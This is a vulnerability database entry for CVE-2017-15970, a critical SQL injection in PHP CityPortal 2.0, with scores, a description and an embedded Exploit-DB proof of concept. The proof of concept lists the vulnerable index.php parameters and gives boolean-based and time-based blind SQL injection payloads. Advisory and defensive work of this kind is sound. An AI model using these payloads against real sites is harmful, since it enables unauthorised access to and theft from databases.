CVE-2017-15970

critical

Published 2017-10-29 · Modified 2026-05-13

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CVSS v3

9.8

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVSS v4 NEW

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not yet in upstream

VIR risk

10.0

Description

PHP CityPortal 2.0 allows SQL Injection via the nid parameter to index.php in a page=news action, or the cat parameter.

Predictions

Exploit likelihood

97%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-43089 webapps php text · 1 KB

Ihsan Sencan · 2017-10-30

PHP CityPortal 2.0 - SQL Injection

text exploit Source: Exploit-DB

# # # # # 
# Exploit Title: PHP CityPortal 2.0 - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.phpcityportal.com/
# Software Link: http://www.phpcityportal.com/index.php
# Demo: http://phpcityportal.com/demo
# Version: 2.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15970
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?page=news&nid=[SQL]
# 
# Parameter: cat (GET)
#     Type: boolean-based blind
#     Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT)
#     Payload: cat=1' OR NOT 6616=6616#
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 OR time-based blind
#     Payload: cat=1' OR SLEEP(5)-- cCQQ
# 	
# Etc..
# # # # #

Application impact

Vendor	Product	Versions	Fixed
phpcityportal	phpcityportal	`2.0`

References

CWEs

CWE-89

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.